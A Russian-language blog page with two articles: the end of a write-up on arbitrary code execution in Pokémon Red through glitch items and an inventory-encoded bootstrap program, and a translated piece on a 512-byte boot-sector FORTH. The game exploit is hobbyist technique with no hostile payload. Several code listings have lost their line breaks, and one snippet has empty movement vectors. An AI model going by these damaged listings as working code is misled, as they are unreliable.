Поэтому я не останавливаюсь, а выкладываю из своего поломанного инвентаря в сундук множество глитчевых предметов 0x00, которые мне ещё пригодятся. Потом я забираю из сундука зелье, что вызывает переполнение счётчика предметов с 0xFF на 0x00 и восстанавливает мой инвентарь. Зелье при этом, правда, исчезает. После этого я забираю 255 0x00-предметов и отправляюсь в магазин. Там я продаю 2 0x00 за 414925 монет каждый, что позволяет мне купить следующие предметы:

+-------------------+----------+|##| Item           | Quantity |+--+----------------+----------+|1 | TM02           |  98      ||2 | TM37           |  71      ||3 | TM05           |   1      ||4 | TM09           |   1      ||5 | burn-heal      |  12      ||6 | ice-heal       |  55      ||7 | parlyz-heal    |  99      ||8 | parlyz-heal    |  55      ||9 | TM18           |   1      ||10| fire-stone     |  23      ||11| water-stone    |  29      ||12| x-accuracy     |  58      ||13| guard-spec     |  99      ||14| guard-spec     |  24      ||15| lemonade       |  16      ||16| TM13           |   1      |+--+----------------+----------+

Эти предметы я раскладываю в инвентаре в таком порядке, чтобы получилась моя первая программа ввода. Первая потому что написать окончательную версию программы ввода внутри игры у меня не получилось. Та, которую я собираю из предметов, умеет читать только кнопки A, B, start и select. Каждый фрейм игры она пишет 4 бита в определённую область памяти; собрав 200 с лишним байт, она исполняет то, что написала. С помощью этой программы я пишу следующую, которая читает уже все 8 кнопок и пишет произвольное число байтов в произвольную область памяти, а потом исполняет код по произвольному адресу. Эта программа, в свою очередь, используется для загрузки третьей, которая делает всё то же самое, но ещё и выводит записываемый код на экран.

Закончив с кодом первой программы, я отправляюсь в Celadon mansion (это не критично, мне просто нравится локация). Там я снова меняю местами сломанных покемонов и ломаю инвентарь. Проскроллив до имени своего противника, я выкидываю предметы до тех пор, пока имя не окажется на указателе функции. Как только я закрываю меню, программа ввода исполняется, и я могу заливать следующую программу.

Инфраструктура

Всё видео было записано ботами, а сам я к Gameboy (точнее, к эмулятору) даже не притрагивался. Ниже краткое описание инфраструктуры, которую я создал для этого проекта. Исходники доступны в http://hg.bortreb.com/vba-clojure

Прежде всего, мне нужен был программный доступ к эмулятору, так что я скачал vba-rerecording. Поверх него я написал низкоуровневый интерфейс на C, к которому я смогу обращаться из Java через JNI. Этот интерфейс позволяет обращаться к базовым функциям эмулятора: прогнать один фрейм игры или один тик часов Gameboy, обратиться к любому адресу памяти или регистру. Кроме того, он позволяет выгрузить состояние эмулятора в объект Java или загрузить его обратно.

Поверх JNI я написал обёртку на clojure, так что в итоге у меня получился функциональный интерфейс к vba-rerecording. Этот интерфейс работает с состоянием эмулятора как с иммутабельным объектом и позволяет делать в функциональном стиле всё то, что интерфейс на C позволял делать в императивном. С помощью этого интерфейса я написал функции, которые принимают на вход состояние эмулятора, находят и исполняют последовательность команд, которая приведёт к желаемому эффекту. Из этих функций я собрал высокоуровневые функции, которые выполняют в игре задачи типа перемещения и покупки предметов. Вот, например, код для перемещения кратчайшим путём из магазина покемонов в Viridian City в лабораторию Оака:

(defn-memo viridian-store->oaks-lab  ([] (viridian-store->oaks-lab       (get-oaks-parcel)))  ([script]     (->> script          (walk [                                                                                                                                                                                                                                       ])          (walk-thru-grass           [      ])          (walk [                                                ])                          (do-nothing 1))))

А вот функция, которая находит кратчайшую последовательность команд для переноса нужных предметов в сундук:

(defn-memo hacking-10  ([] (hacking-10 (hacking-9)))  ([script]     (->> script          begin-deposit          (deposit-held-item 17 230)          (deposit-held-item-named :parlyz-heal 55)          (deposit-held-item 14 178)          (deposit-held-item-named :water-stone 29)          (deposit-held-item 14 32)          (deposit-held-item-named :TM18 1)          (deposit-held-item 13 1)          (deposit-held-item 13 191)          (deposit-held-item-named :TM02 98)          (deposit-held-item-named :TM09 1)          close-menu)))

Вооружившись этими инструментами, я составил программу ввода, которая может быть представлена в инвентаре. Это было непросто, потому что многие полезные коды не соответствуют никакому предмету, а количество предметов не может быть больше 99. Итак, вот что у меня получилось:

Программа ввода

(defn pc-item-writer-program

[]

(let [;;limit 75

limit 201 ;; (item-hack 201 is the smallest I could make this.)

[target-high target-low] (disect-bytes-2 pokemon-list-start)]

(flatten

[[0x00 ;; (item-hack) no-op (can't buy repel (1E) at celadon)

0x1E ;; load limit into E

limit

0x3F ;; (item-hack) set carry flag no-op

;; load 2 into C.

0x0E ;; C == 1 means input-first nybble

0x04 ;; C == 0 means input-second nybble

0x21 ;; load target into HL

target-low

target-high

0x37 ;; (item-hack) set carry flag no-op

0x00 ;; (item-hack) no-op

0x37 ;; (item-hack) set carry flag no-op

0x00 ;; (item-hack) no-op

0xF3 ;; disable interrupts

;; Input Section

0x3E ;; load 0x20 into A, to measure buttons

0x10

0x00 ;; (item-hack) no-op

0xE0 ;; load A into [FF00]

0x00

0xF0 ;; load 0xFF00 into A to get

0x00 ;; button presses

0xE6

0x0F ;; select bottom four bits of A

0x37 ;; (item-hack) set carry flag no-op

0x00 ;; (item-hack) no-op

0xB8 ;; see if input is different (CP A B)

0x00 ;; (item-hack) (INC SP)

0x28 ;; repeat above steps if input is not different

;; (jump relative backwards if B != A)

0xED ;; (literal -19) (item-hack) -19 == egg bomb (TM37)

0x47 ;; load A into B

0x0D ;; dec C

0x37 ;; (item-hack) set-carry flag

;; branch based on C:

0x20 ;; JR NZ

23 ;; skip "input second nybble" and "jump to target" below

;; input second nybble

0x0C ;; inc C

0x0C ;; inc C

0x00 ;; (item-hack) no-op

0xE6 ;; select bottom bits

0x0F

0x37 ;; (item-hack) set-carry flag no-op

0x00 ;; (item-hack) no-op

0xB2 ;; (OR A D) -> A

0x22 ;; (do (A -> (HL)) (INC HL))

0x1D ;; (DEC E)

0x00 ;; (item-hack)

0x20 ;; jump back to input section if not done

0xDA ;; literal -36 == TM 18 (counter)

0x01 ;; (item-hack) set BC to literal (no-op)

;; jump to target

0x00 ;; (item-hack) these two bytes can be anything.

0x01

0x00 ;; (item-hack) no-op

0xBF ;; (CP A A) ensures Z

0xCA ;; (item-hack) jump if Z

target-low

target-high

0x01 ;; (item-hack) will never be reached.

;; input first nybble

0x00

0xCB

0x37 ;; swap nybbles on A

0x57 ;; A -> D

0x37 ;; (item-hack) set carry flag no-op

0x18 ;; relative jump backwards

0xCD ;; literal -51 == TM05; go back to input section

0x01 ;; (item-hack) will never reach this instruction

]

(repeat 8 [0x00 0x01]);; these can be anything

[;; jump to actual program

0x00

0x37 ;; (item-hack) set carry flag no-op

0x2E ;; 0x3A -> L

0x3A

0x00 ;; (item-hack) no-op

0x26 ;; 0xD5 -> L

0xD5

0x01 ;; (item-hack) set-carry BC

0x00 ;; (item-hack) these can be anything

0x01

0x00

0xE9 ;; jump to (HL)

Мне особенно пригодились глитч-предметы 0x00 и 0xFF. 0x00 стоит почти половину максимально возможного числа денег, и всего двух хватило на то, чтоб купить все необходимые предметы. К тому же 0x00 это NO-OP, который я могу вставлять куда угодно, чтобы подогнать программу под требования инвентаря. 0xFF имеет другое полезное свойство. В норме игра объединяет стеки предметов: если купить, например, покеболл, а потом ещё один покеболл, то инвентарь будет выглядеть вот так:

pokeball x2

Но если где-то перед тем в списке предметов есть 0xFF, то эта функция отключается, что позволяет мне получить вот такой инвентарь:

pokeball x1pokeball x1pokeball x1

Так что я вставляю в самое начало инвентаря 0xFF и больше об этом не беспокоюсь.

Полезная нагрузка, которую я залил в Gameboy, это тоже последовательность программ. Я создал упрощённый формат MIDI, имплементировал его в машинных кодах GameBoy, и перевёл в свой формат мелодию с http://www.everyponysings.com/. В полезной нагрузке последней программы ввода содержится как сам MIDI-файл, так и интерпретатор. Картинка устроена так же я перевёл PNG-файл в Gameboy-совместимый формат и добавил код, который её показывает. И картинку, и мелодию загружает последняя программа ввода, так что исходники можно увидеть на экране эмулятора (или скачать с http://hg.bortreb.com/vba-clojure).

Подробнее..

Разместить FORTH в 512 байтах

17.06.2021 12:20:28 | Автор: admin
Связь СЛОВ через словарикСвязь СЛОВ через словарик

Оригинал текста Июнь 10, 2021 - 38 минут чтения

Программное обеспечение полно своих зависимостей, если смотреть достаточно глубоко. Компиляторы, написанные на языке, на котором они компилируются, - самый очевидный, но не единственный пример. Чтобы скомпилировать ядро, нам нужно работающее ядро. Линкеры, системы сборки, оболочки. Даже текстовые редакторы, если вы хотите писать код, а не просто загружать его. Как разорвать этот цикл?1 С тех пор как проблема начальной загрузки впервые привлекла мое внимание, я стал интересоваться этой уникальной областью программной инженерии. Не из страха, что кто-то попытается реализовать атаку на доверие, а просто как интересный вызов.

11 лет назад vanjos72 описал на Reddit то, что он называет мысленным экспериментом: что если бы вас заперли в комнате с IBM PC, на котором нет операционной системы? Какое минимальное количество программного обеспечения вам понадобилось бы для начала, чтобы вернуться к комфортной работе?

Так получилось, что в последнее время у меня появилось много свободного времени, поэтому я решил сделать это больше, чем просто мысленный эксперимент. Увы, мой компьютер не был оснащен переключателями на передней панели, поэтому некоторые программы должны уже присутствовать на компьютере ...

Самым минимальным вариантом может быть простая программа, которая принимает ввод с клавиатуры, а затем переходит на нее. Поскольку подпрограммы ввода с клавиатуры в BIOS реализуют escape-коды alt+numpad, вам даже не нужно писать код преобразования базы.2Более того, циклу даже не нужно условие завершения а просто пишите в буфер обратно, пока не столкнетесь с существующим кодом и не перезапишете точку перехода. Такой подход занимает всего 14 байт:

6a00    push word 007      pop esfd      stdbf1e7c  mov di, buffer+16 ; Adjust to taste. Beware of fenceposting.        input_loop:b400    mov ah, 0cd16    int 0x16aa      stosbebf9    jmp short input_loop        buffer:

Однако перспектива вводить код таким образом не кажется мне привлекательной. Я решил, что, поскольку BIOS в любом случае загружает целый сектор, любая загрузочная программа, которая помещается в бутсектор, является честной игрой.3Очевидно, что хочется максимизировать полезность выбранной программы. Какую самую мощную вещь мы можем уместить в 510 байт?

Оскар Толедо написал много интересных программ размером с сектор. Среди них много игр, таких как DooM-подобная игра или шахматный ИИ, а также базовый интерпретатор BASIC, но самой, пожалуй, актуальной для нашего случая является bootOS:

bootOS - это монолитная операционная система, которая помещается в одном загрузочном секторе. Она способна загружать, выполнять и сохранять программы. Также имеет файловую систему.

Она открывает свои подпрограммы файловой системы с помощью интерфейса прерываний и включает встроенную команду, которая позволяет создать файл, набрав его шестнадцатиричное представление. Очень аккуратно, но, очевидно, в основном предназначена для переключения между другими программами, имеющими размер сектора.

Я бы искал решение, которое минимизирует набор текста в машинном коде ручной сборки. В идеале это должен быть язык программирования, но такой, который, в отличие от BASIC, может быть расширен во время выполнения. Если вы прочитали заголовок этого поста, то уже знаете, на чем я остановился. Оказалось, что в бутсекторе можно разместить примитивный FORTH. Код можно посмотреть врепозитории Miniforth на GitHub, но я приведу большую его часть здесь.

Весь FORTH занимает на данный момент 504 байта. Как и следовало ожидать, процесс разработки включал в себя постоянный поиск возможностей экономии байтов. Однако, когда я опубликовал, как мне казалось, достаточно плотно оптимизированный код, появилсяИлья Курдюков и нашел 24 байта, которые можно сэкономить! Я быстро реинвестировал это сэкономленное место в новые возможности.

Вводная экскурсия в FORTH

Если вы когда-либо писали что-либо на FORTH, вы можете смело пропустить этот раздел.

FORTH - это язык, основанный на стеках. Например, число вталкивает свое значение в стек, а слово + выталкивает два числа и их сумму. Обычная утилита отладки, но не включенная в Miniforth, - это слово .s, которое печатает содержимое стека.

1 2 3 + .s  <enter><2> 1 5 ok

Примечание: ok - готовность системы к приёму слов языка

Пользователь может определять свои собственные слова с помощью : и ;. Например:

 : double dup + ; <enter>ok  3 double  .  <enter>6 ок

Это определяет слово double, которое делает то же самое, что и dup +. dup, кстати, является одним из слов FORTH для работы со стеком. Оно дублирует верхний элемент в стеке:

42 dup .s <enter><2> 42 42 ok

Это практически весь язык. Есть некоторые стандартные средства для условий и циклов, но нам пока не нужно ими заниматься, так как они могут быть построены поверх Miniforth позже.

Чтобы описать влияние слова на состояние стека, мы используем следующую нотацию:

dup ( a -- a a ) swap ( a b -- b a )

Список до символа -- - это входы , причем вершина стека перечислена последней. После -- перечислены выходы, которые начинаются с той же глубины стека. Это позволяет нам кратко описать общие аспекты слова.

Шитый код

Хотя некоторые системы FORTH включают в себя полноценные оптимизирующие компиляторы, подобные тем, которые можно увидеть в обычном языке программирования, существует гораздо более простая стратегия. В конце концов, все, что может сделать слово в FORTH, это выполнить другие слова, так что последовательность инструкций вызова очень близка к этому:

DOUBLE:    call DUP    call PLUS    ret

Однако это связывает аппаратный стек x86 для стека возврата, заставляя нас вручную обрабатывать отдельный стек для фактического стека пользовательского уровня (известного как стек параметров). Поскольку доступ к стеку параметров встречается гораздо чаще, мы хотели бы использовать для этого инструкции push и pop, а вместо них можно применить механизм, аналогичный call. Во-первых, давайте просто сохраним список указателей на слова:

DOUBLE:    dw DUP    dw PLUS

Это реализуется следующим образом: каждое примитивное слово извлекает из памяти адрес следующего слова и переходит к нему. Указатель на эту последовательность указателей хранится в SI, так что инструкция lodsw позволяет легко обрабатывать этот список:

DUP:    pop ax    push ax    push ax    lodsw    jmp axPLUS:    pop ax    pop bx     add ax, bx    push ax    lodsw    jmp ax

Этот общий код можно абстрагировать в макрос, который традиционно называется NEXT:

%macro NEXT 0    lodsw    jmp ax%endmacro

Этот механизм, кстати, известен как потоковый код. Никакой связи с примитивом параллелизма.

Однако что произойдет, если одно скомпилированное слово вызовет другое? Здесь в дело вступает стек возвратов. Может показаться естественным использовать регистр BP для указателя стека. Однако в 16-битных x86 не существует режима адресации [bp]. Самый близкий к нему - [bp+imm8], что означает, что при обращении к памяти по адресу bp тратится байт, чтобы указать, что вам не нужно смещение. Вот почему я использую регистр di для стека возврата вместо этого. В целом, этот выбор экономит 4 байта.

В любом случае, вот как стек возврата используется для обработки компилированных слов, вызывающих друг друга. Проталкивание в стек возврата особенно удобно, поскольку это просто инструкция stosw.

DOUBLE:    call DOCOL    dw DUP    dw PLUS    dw EXITDOCOL:            ; сокращение от "do colon word".    xchg ax, si ; используется здесь как  mov ax, si ,              ;   но меняет местами.                ; ax - только один байт, а  mov  - два байта.    stosw    pop si ; захватить указатель, вытолкнутый  call .    NEXTEXIT:    dec di    dec di    mov si, [di]    NEXT

Это практически та же стратегия выполнения, что и в Miniforth, с одним простым, но существенным улучшением - значение на вершине стека хранится в регистре BX. Это позволяет пропустить push и pop во многих примитивах:

PLUS:    pop ax    add bx, ax    NEXTDROP:    pop bx    NEXTDUP:      push  bx       NEXT

Однако один случай все еще остается нерешенным. Что произойдет, если слово содержит число, например : DOUBLE 2 \ ;? С этим справляется LIT, который извлекает литерал, следующий за ним, из потока указателей:

DOUBLE:      call DOCOL      dw LIT, 2      dw MULT      dw EXITLIT:      push  bx       lodsw      xchg  bx ,  ax       NEXT

Словарь

FORTH нужен способ найти реализацию слов, которые набирает пользователь. Это роль словаря. Я использую структуру, подобную многим другим небольшим FORTH - односвязный список заголовков слов, непосредственно предваряющий код каждого слова. По традиции, глава списка хранится в переменной LATEST.

В старших битах поля длины имени также хранятся некоторые флаги:

F_IMMEDIATE equ 0x80F_HIDDEN    equ 0x40F_LENMASK   equ 0x1f

Если слово помечено как IMMEDIATE, оно будет выполнено немедленно, даже если в данный момент мы составляем определение. Например, это используется для реализации ;. Если слово помечено как HIDDEN, оно игнорируется при поиске по словарю. Помимо использования в качестве элементарного механизма инкапсуляции, это может быть использовано для реализации традиционной семантики FORTH, когда определение слова может ссылаться на предыдущее слово с тем же именем (а RECURSE используется, когда вам нужно определение, которое компилируется в данный момент). Однако, ближе к концу разработки я удалил код, который действительно делает это, из стандартной реализации : и ;.

Компрессия

Обычно не стоит использовать сжатие, когда и расжатие , и его полезная нагрузка должны уместиться всего в 512 байт. Однако в реализации FORTH есть одна вещь, которая повторяется очень часто, - это реализация NEXT.

ad      lodswffe0    jmp  ax 

Мы можем попытаться сэкономить несколько байт, заменив их переходами к общей копии. Однако короткий переход все равно занимает два байта, что не является существенной экономией. Как выясняется, специальная схема сжатия, которая может обрабатывать только этот один повторяющийся паттерн, стоит того, если совместить ее со следующим наблюдением: За NEXT почти всегда следует словарная статья следующего примитива, поле ссылки которого предсказуемо.

Я выбрал схему сжатия, в которой каждый байт 0xff заменяется на NEXT, за которым следует поле ссылки, которое вычисляется на основе предыдущего появления байта 0xff. Эта стратегия сэкономила 19 байт, когда я ее внедрил.4

Сначала я использовал для этого байт 0x90, в конце концов, это опкод nop, который я точно не буду использовать. Однако этот байт все еще может встречаться в непосредственном байте инструкции. Сначала это не было проблемой, но когда код перемещался в памяти, различные адреса и смещения становились 0x90 достаточно часто, чтобы стать неприятностью. У 0xff, похоже, такой проблемы нет.

Чтобы создать ссылку, мы копируем значение LATEST на выход декомпрессора и обновляем LATEST, чтобы оно указывало на слово, которое мы только что написали. Это может быть сделано очень компактной последовательностью инструкций, но все равно занимает достаточно байт, чтобы стоило оформить это в виде подпрограммы. Она также используется в реализации :, которая создает словарные статьи во время выполнения.

; Создает ссылку словарного связного списка в DI.MakeLink:      mov  ax ,  di       xchg [LATEST],  ax    ; AX теперь указывает на старую запись,                   ; а LATEST и DI указывают на новую.      stosw      ret

В декомпрессоре использовался интересный прием, когда вместо короткого перехода вперед опкод размещается так, что непосредственный аргумент, который он требует, съедает инструкцию, через которую мы хотим перейти. То есть, вместо

     jmp short .after.write:      stosb.after:пишим3c      db 0x3c ; пропустить stosb ниже, сравнив его опкод с AL       .write:aa      stosb

Таким образом, если какой-то другой код переходит к .write, выполняется stosb, но этот кодовый путь просто выполняет cmp al, 0xaa. Сначала я не подумал об инструкции cmp al, и вместо нее использовал mov в отбрасываемый регистр. Это привело кэффектному отказуиз-за моей неспособности выбрать регистр, который можно безопасно перезаписать.

Илья Курдюков затем продемонстрировал , что тот же самый байткоунт может быть достигнут без подобной "магии". Аналогичная модификация позволила мне устранить и другое проявление этого трюка. Суть в том, что вместо того, чтобы пытаться пропустить stosb, мы выполняем его безоговорочно перед ветвлением кодовых путей, а затем, по сути, отменяем его с помощью dec di, если это необходимо:

SPECIAL_BYTE equ 0xff      mov  si , CompressedData      mov  di , CompressedBegin      mov  cx , COMPRESSED_SIZE.decompress:      lodsb      stosb      cmp  al , SPECIAL_BYTE      jnz short .not_special      dec  di       mov  ax , 0xffad ; lodsw / jmp ax      stosw      mov  al , 0xe0      stosb      call MakeLink.not_special:      loop .decompress

На самом деле генерация сжатого потока более сложна. Поскольку я хочу, чтобы переходы между сжатой и несжатой частями работали, ассемблеру нужно верить, что он пишет код в том месте, где он будет выполняться на самом деле. Сначала я попытался сделать это, корректируя org после каждого SPECIAL_BYTE, но, к сожалению, yasm это не понравилось.

boot.s:137: error: program origin redefined

Очевидно, что необходим отдельный этап постобработки. Я написал макрос для подгонки байтов, которые будет вставлять декомпрессор:

%macro compression_sentinel 0      db SPECIAL_BYTE      dd 0xdeadbeef%endmacro

Это имеет дополнительное преимущество, предoставляя простой автоматизированный способ проверки того, что никакие SPECIAL_BYTE не проскочили случайно.

Мне все еще нужно было выделить место для сжатых данных. Я выбрал следующую схему:

\1. Несжатый код начинается с 7C00 - инициализация, декомпрессия и внешний интерпретатор.

\2. Сжатые данные немедленно следуют за ним, заполняя бутсектор вплоть до момента перед 7E00.

\3. Сразу после этого выделяется буфер декомпрессии, в который yasm выводит содержимое цели.

Чтобы добиться этого, мне нужно было точно знать, сколько места нужно выделить для сжатых данных. Сначала я подсчитал точное количество сэкономленных байт, увеличив счетчик в макросе compression_sentinel:

%assign savings 0%macro compression_sentinel 0%assign savings savings+4      db SPECIAL_BYTE      dd 0xdeadbeef%endmacro

Затем я просто вычитаю это значение из размера несжатого сегмента:

CompressedData:      times COMPRESSED_SIZE db 0xccCompressedBegin:; ...CompressedEnd:COMPRESSED_SIZE equ CompressedEnd - CompressedBegin - savings

Постобработка выполняется простым скриптом Python:

SPECIAL_BYTE =  b'\xff'SENTINEL = SPECIAL_BYTE +  b '\xef\xbe\xad\xde'with open('raw.bin', 'rb') as f:      data = f.read()output_offset = data.index( b '\xcc' \  20)chunks = data[output_offset:].lstrip( b '\xcc').split(SENTINEL)assert SPECIAL_BYTE not in chunks[0]compressed =  bytearray (chunks[0])for chunk in chunks[1:]:      assert SPECIAL_BYTE not in chunk      compressed.extend(SPECIAL_BYTE)      compressed.extend(chunk)\# Убедитесь, что для сжатых данных выделено именно то место, которое нужно.\# для сжатых данных.assert  b '\xcc' \  len(compressed) in dataassert  b '\xcc' \  (len(compressed) + 1) not in dataoutput = data[:output_offset] + compressedprint(len(output), 'bytes used')output +=  b '\x00' \  (510 - len(output))output +=  b '\x55\xaa'with open('boot.bin', 'wb') as f:      f.write(output)

Этот же сценарий также генерирует расширенный образ диска, который содержит некоторый код для тестирования в блоке 1:

output +=  b '\x00' \  512output += open('test.fth', 'rb').read().replace( b '\n',  b ' ')output +=  b ' ' \  (2048 - len(output))with open('test.img', 'wb') as f:      f.write(output)

compression_sentinel чаще всего используется макросом defcode, который создает словарную статью для примитивного слова. Он принимает метку (которая затем может быть использована для перехода к реализации некоторого слова), имя слова в виде строки и, по желанию, некоторые флаги, которые должны быть включены в поле длины:

; defcode PLUS, "+"; defcode SEMI, ";", F_IMMEDIATE%macro defcode 2-3 0      compression_sentinel%strlen namelength %2      db %3 | namelength, %2%1:%endmacro

Затем это используется для определения примитивов. Код, по сути, переходит в defcode:

defcode PLUS, "+"      pop  ax       add  bx ,  ax defcode MINUS, "-"      pop  ax       sub  ax ,  bx       xchg  bx ,  ax defcode PEEK, "@"      ; ...

Однако DOCOL, EXIT и LIT также используют механизм сжатия для своих NEXT. Поскольку поле ссылки все еще записывается, это создает фиктивные словарные статьи. К счастью, первый опкод EXIT и LIT имеет установленный бит F_HIDDEN, так что это не проблема:

CompressedBegin:

DOCOL:      xchg  ax ,  si       stosw      pop  si  ; grab the pointer pushed by  call       compression_sentinelLIT:      push  bx       lodsw      xchg  bx ,  ax       compression_sentinelEXIT:      dec  di       dec  di       mov  si , [ di ]defcode PLUS, "+"      ; ...

Переменные?

Инструкции немедленной загрузки имеют тенденцию иметь более короткие кодировки, чем загрузки из памяти:

be3412    mov  si , 0x12348b363412  mov  si , [0x1234]

Именно поэтому Miniforth хранит большинство своих переменных в непосредственных полях инструкций. Конечно, это означает, что адрес этих переменных будет меняться при каждом редактировании кода, что проблематично, поскольку мы захотим получить доступ к этим переменным в коде FORTH. Типичный способ доступа к переменной - это создание слова, которое передает ее адрес. Однако это слишком дорого при наших ограничениях. То, на чем я остановился, это заталкивание адресов в стек при запуске. Это можно сделать, используя всего 2 байта для каждого адреса, просто определив начальное содержимое стека как данные:

      org 0x7c00      jmp 0:startstack:      dw HERE      dw BASE      dw STATE      dw LATESTstart:      ; ...      mov  sp , stack

Даже когда адрес переменной должен быть помещен в стек, эта самомодифицирующаяся стратегия кода экономит байты, если переменная должна быть инициализирована. Лучший способ инициализировать переменную - просто выделить ее в бутсекторе и поместить туда начальное значение, что точно выравнивает данные стека и сохраняет преимущество более короткой кодировки инструкций.

Код инициализации

Первое, что делается после загрузки, это настройкасегментных регистрови стека. Флаг направления также очищается, чтобы строковые инструкции работали в правильном направлении.

      jmp 0:start      ; ...start:      push  cs       push  cs       push  cs       pop  ds       pop  es       pop  ss       mov  sp , stack      cld

В этом коде есть два примечательных момента. Во-первых, сегментные регистры устанавливаются через стек. Это трюк экономии байтов, который я перенял из bootBASIC он позволяет инициализировать регистр общего назначения нулем:

31c0    xor  ax ,  ax   ; through AX - 8 bytes8ed8    mov  ds ,  ax 8ec0    mov  es ,  ax 8ed0    mov  ss ,  ax 0e      push  cs      ; through the stack - 6 bytes0e      push  cs 0e      push  cs 1f      pop  ds 07      pop  es 17      pop  ss 

Во-вторых, можно подумать, что во время перенаправления стека возникает небольшое окно состояния гонки и если прерывание произошло между pop ss и mov sp, то может возникнуть хаос, если предыдущее значение SP окажется в неудачном месте памяти. Конечно, я мог бы просто скрестить пальцы и надеяться, что этого не произойдет, если бы 2 байта, необходимые для обертывания этого в пару cli/sti, были слишком большими. Однако оказалось, что этот компромисс не нужен благодаря одному неясному уголку архитектуры x86. Процитируем том 2B Руководства разработчика программного обеспечения x86:

Загрузка регистра SS инструкцией POP5 подавляет или блокирует некоторые отладочные исключения и блокирует прерывания на границе следующей инструкции. (Запрет заканчивается после доставки исключения или выполнения следующей инструкции). Такое поведение позволяет загрузить указатель стека в регистр ESP со следующей инструкцией (POP ESP)6 ,прежде чем может быть доставлено событие.

После установки сегментов, стека и флага направления запускается декомпрессор. Очень важно, что он не использует регистр DL, который содержит номер диска BIOS, с которого мы загрузились. Затем он пихается в реализацию load (которая находится в сжатом сегменте) и заталкивается в стек для последующего использования пользовательским кодом:

      mov [DRIVE_NUMBER],  dl       push  dx  ; for FORTH code

Внешний интерпретатор

На этом этапе мы достигаем внешнего интерпретатора - части системы FORTH, которая обрабатывает пользовательский ввод. Название "внешний интерпретатор" отличает его от внутреннего интерпретатора, который является компонентом, координирующим выполнение в пределах определенного слова, и состоит из NEXT, DOCOL, EXIT и LIT.

Обычно FORTH представляет строительные блоки своего внешнего интерпретатора в виде слов в словаре, таких как

  • REFILL (считывание строки ввода из текущего выполняющегося источника),

    • WORD (разбор слова из входного потока),

    • FIND (искать слово в словаре),

    • NUMBER (преобразование строки в число).

В Miniforth этой практике вообще не уделяется никакого внимания. Заголовки словарей стоят байты, как и общение только через стек. Фактически, WORD и >NUMBER объединяются в одну процедуру, которая выполняет работу обеих. Таким образом, цикл может быть общим, что экономит байты.

Эта монолитная архитектура также позволяет нам решить, что BX и DI не резервируются для вершины стека и указателя стека возврата, соответственно, во время выполнения внешнего интерпретатора. Это значительно помогает справиться с регистровым голоданием в этих сравнительно сложных частях системы. Эти регистры устанавливаются непосредственно перед переходом к слову и сохраняются после возврата.

Ввод с клавиатуры

После завершения инициализации код переходит к ReadLine, процедуре для чтения строки ввода с клавиатуры. Мы также вернемся сюда позже, когда текущая строка ввода будет исчерпана. Буфер ввода находится по адресу 0x500, сразу послеBDA. Хотя идиоматический формат строк для FORTH использует отдельное поле длины, этот буфер NULL-терминирован, так как это легче обрабатывать при разборе. Указатель на неразобранный фрагмент ввода хранится в InputPtr, которая является единственной переменной, не использующей технику самомодификации, так как ее не нужно явно инициализировать и она естественным образом записывается до чтения.

InputBuf equ 0x500 InputPtr equ 0xa02 ; dw

ReadLine:      mov  di , InputBuf      mov [InputPtr],  di .loop:      mov  ah , 0      int 0x16      cmp  al , 0x0d      je short .enter      stosb      cmp  al , 0x08      jne short .write      dec  di       cmp  di , InputBuf ; underflow check      je short .loop      dec  di .write:      call PutChar      jmp short .loop.enter:      call PutChar      mov  al , 0x0a      int 0x10      xchg  ax ,  bx  ; write the null terminator by using the BX = 0 from PutChar      stosbInterpreterLoop:      call ParseWord ; returns length in CX. Zero implies no more input.      jcxz short ReadLine

Прерывание BIOS для получения символа с клавиатуры не печатает клавишу и мы должны сделать это сами. Это делается с помощью функции "TELETYPE OUTPUT", которая уже обрабатывает специальные символы, такие как backspace или newline.

PutChar:      xor  bx ,  bx       mov  ah , 0x0e      int 0x10      ret

У этой функции есть свои недостатки. Например, необходимы "грязные" символы окончания строки CRLF (CR для перемещения курсора в начало строки и LF для перемещения на следующую строку). Кроме того, символ backspace только перемещает курсор на один символ назад, но не стирает его. Чтобы получить поведение, которого мы ожидаем, необходимо напечатать \b \b (справедливости ради, это также происходит на современных терминалах). Я решил это пропустить.

Наконец, в "Списке прерываний" Ральфа Браунаупоминается, что некоторые BIOS сбрасывают BP, когда печатаемый символ вызывает прокрутку экрана. Это нас не касается, так как мы вообще не используем этот регистр.

Парсинг

После того как мы прочитали строку, нам нужно разобрать ее на слова. Это делается по требованию и каждое слово выполняется (или компилируется, в зависимости от состояния), как только оно разобрано. Помимо цикла интерпретатора, ParseWord также вызывается реализацией : (для получения имени определяемого слова).

Как уже упоминалось, эта процедура также вычисляет числовое значение слова, предполагая, что оно достоверно. В этом отношении нет никакой проверки ошибок и если слово не найдено в словаре, его числовое значение выталкивается, что, вероятно, является бессмыслицей, если это не было задумано.

Для начала мы пропускаем все пробельные символы во входном буфере:

; returns; DX = pointer to string; CX = string length; BX = numeric value; clobbers SI and BPParseWord:      mov  si , [InputPtr]      ; repe scasb вероятно, сохранит некоторые байты здесь, если бы реестры были разработаны - SCASB  ; использует DI вместо SI :( - scasb      ; uses DI instead of SI :(.skiploop:      mov  dx ,  si  ; Если мы выйдем на петлю в этой итерации, DX укажет первую букву слова      lodsb      cmp  al , " "      je short .skiploop

Обратите внимание на то, как сохраняется указатель на начало строки. Цикл проходит на один байт дальше пробела, поэтому сохранение указателя после цикла потребовало бы отдельного декремента. Вместо этого мы обновляем регистр при каждой итерации цикла, но до того, как указатель увеличивается на lodsb.

В этот момент регистр AL загружен первым символом слова. Таким образом, наш следующий цикл должен будет выполнить lodsb в своем конце.

      xor  cx ,  cx       xor  bx ,  bx .takeloop:      and  al , ~0x20      jz short Return ; jump to a borrowed  ret  from some other routine

Эта инструкция интересна тем, что делает три вещи одновременно. Она определяет пробелы и нулевые байты одним махом, а также отключает бит, различающий заглавные и строчные буквы, что позволяет работать с шестнадцатеричными числами в обоих случаях без дополнительных затрат.

Если мы не обнаружили конец слова, мы увеличиваем счетчик длины и преобразуем цифру в ее числовое значение:

      inc  cx       sub  al , "0" &~0x20      cmp  al , 9      jbe .digit_ok      sub  al , "A" - ("0" &~0x20) - 10.digit_ok      cbw

cbw - это малоизвестная инструкция, которая преобразует знаковое число из байта в слово, но для нас это просто более короткое mov ah, 0. Возможно, аналогичным образом мы используем знаковое умножение imul, потому что у него больше возможностей для использования регистров, чем у беззнакового mul. Используемая здесь форма позволяет умножать на непосредственное значение и не перезаписывать в DX верхнюю половину произведения.7

Эта конкретная инструкция должна быть закодирована вручную, чтобы ширина литерала составляла 2 байта.8

      ; imul bx, bx, <BASE> но yasm настаивает на кодировании непосредственного в один байт...       db 0x69, 0xdbBASE equ $      dw 16      add  bx ,  ax  ; add the new digit

